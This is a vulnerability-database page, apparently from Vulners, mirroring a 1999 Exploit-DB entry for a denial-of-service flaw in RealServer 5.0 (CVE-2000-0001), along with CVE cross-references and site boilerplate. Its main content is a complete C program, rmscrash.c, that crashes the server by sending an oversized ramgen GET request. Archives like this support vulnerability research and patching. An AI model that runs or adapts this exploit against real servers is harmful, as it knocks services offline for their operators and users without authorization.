Lucene search
+L

Real Networks Real Server 5.0 - ramgen Denial of Service

🗓️ 23 Dec 1999 00:00:00Reported by bowType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

RealServer 5.0 crashes with long ramgen request; restart needed to restore functionality.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2000-0001
12 Jul 200004:00
cve
cvelist
Cvelist
CVE-2000-0001
12 Jul 200004:00
cvelist
euvd
EUVD
EUVD-2000-0001
7 Oct 202500:30
euvd
nvd
NVD
CVE-2000-0001
23 Dec 199905:00
nvd
nessus
Tenable Nessus
RealServer Long ramgen Request Remote DoS
9 Jan 200000:00
nessus
// source: https://www.securityfocus.com/bid/888/info

RealServer 5.0 can be crashed by sending an overly long (4082+ bytes) ramgen request. Regular functionality can be restored by restarting the RealServer software.

/*
 *  rmscrash.c  - [email protected]
 *
 *  Crash a RealMedia 5.0 server by sending a very long ramgen request.
 *
 *  Test on:
 *         $ pnserver -v
 *         Version:        5.0-rvserver-build-290
 *         Platform: FreeBSD-2.1.x
 *
 */

#include        <stdio.h>
#include        <stdlib.h>
#include        <sys/time.h>
#include        <sys/types.h>
#include        <unistd.h>

#include        <sys/socket.h>
#include        <netinet/in.h>
#include        <netdb.h>

#define BUFLEN 4082

char    buf[BUFLEN+14];
int     sock;
struct  sockaddr_in sa;
struct  hostent *hp;

void main (int argc, char *argv[]) {
        int i, port;

        if (argc < 3) {
                printf("Usage: %s realserver port\n",argv[0]);
                exit(-1);
        }

        port = atoi(argv[2]);

        memset(buf,0x41,BUFLEN);
        memcpy(buf,"GET /ramgen/",12);
        memcpy(buf+BUFLEN," HTTP/1.1\r\n\r\n", 13);


        if ((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
                perror("gethostbyname()");
                exit(0);
        }

        if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
                perror("socket()");
                exit(0);
        }
        sa.sin_family=AF_INET;
        sa.sin_port=htons(port);
        memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
        if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
                perror("connect()");
                exit(0);
        }

        printf("Connected to %s. Sending data\n",argv[1]);
        write(sock,buf,strlen(buf));
        printf("Done.\n");

        close(sock);
        exit(0);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.06203
24